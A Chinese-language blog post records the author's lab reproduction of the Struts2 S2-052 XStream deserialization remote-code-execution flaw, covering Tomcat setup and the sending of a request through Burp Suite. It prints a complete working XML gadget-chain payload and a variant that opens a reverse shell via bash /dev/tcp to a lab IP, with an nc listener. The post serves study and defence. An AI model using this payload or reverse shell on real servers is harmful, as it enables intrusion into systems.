struts2-052漏洞学习
欢迎来我的博客,这是我在学习struts2-052漏洞学习的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27
了解漏洞
struts2是什么?
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet。(小服务程序或服务连接器)。
struts2-052是什么漏洞?
当启用 Struts REST的XStream handler去反序列化处理一个没有经过任何类型过滤的XStream的实例,可能导致在处理XML时造成远程代码执行漏洞。
分析漏洞原理
struts2-052漏洞产生的原因是什么?
本次漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
一个系统存在这个漏洞会导致什么后果?
攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。
漏洞的重现和利用
下载java、tomcat并配置环境
1 | $ sudo yum install java //安装完后可以执行java -version查看是否成功 |
1
$ sudo yum install tomcat
直接用yum安装的话,tomcat/webapps下面没有文件,可以从官网上面下载后把里面webapps里的文件复制过来。
tomcat服务启动代码:1
$ sudo systemctl start tomcat (stop or restart)
下载存在漏洞的struts2框架版本
去官网下载该漏洞影响的最后一个版本的struts2框架,struts-2.5.12,然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下(Tomcat/webapps)重启tomcat。
生成攻击payload
这个可以在百度上搜到1
2
3
4
5<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
其中对目标系统进行操作的是1
<command><string>/usr/bin/touch</string><string>/tmp/test</string> </command>
使用burpsuite进行截包重发,查看结果
先安装burpsites,去官网下载jar包,直接运行即可1
$ java -jar xxxxxxxxxxxx.jar
需要注意的一点是这个只能在当前系统用户下执行,若想其他账号执行,在原来账户下输入xhost +。
使用burpsites进行抓包拦截:
将content-Type后面改为xml。
body中写入上面的payload,之后发送,这时候你进入/tmp文件夹,你会发现有一个叫test的文件。
反弹shell实验
先在发动攻击的系统上先监听某个端口,在这里我就先监听8888端口:1
$ nc -lvvp 8888
将之前payload中command改为下列代码:1
2
3
4
5
6<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.203.129/8888 0>&1</string>
</command>
<!-- 其中ip和端口为攻击方的IP和监听的端口 -->
从图中可以看到我在webapps目录下面创建了test的文件
在被攻击端也可以查到该文件的具体信息,说明入侵成功。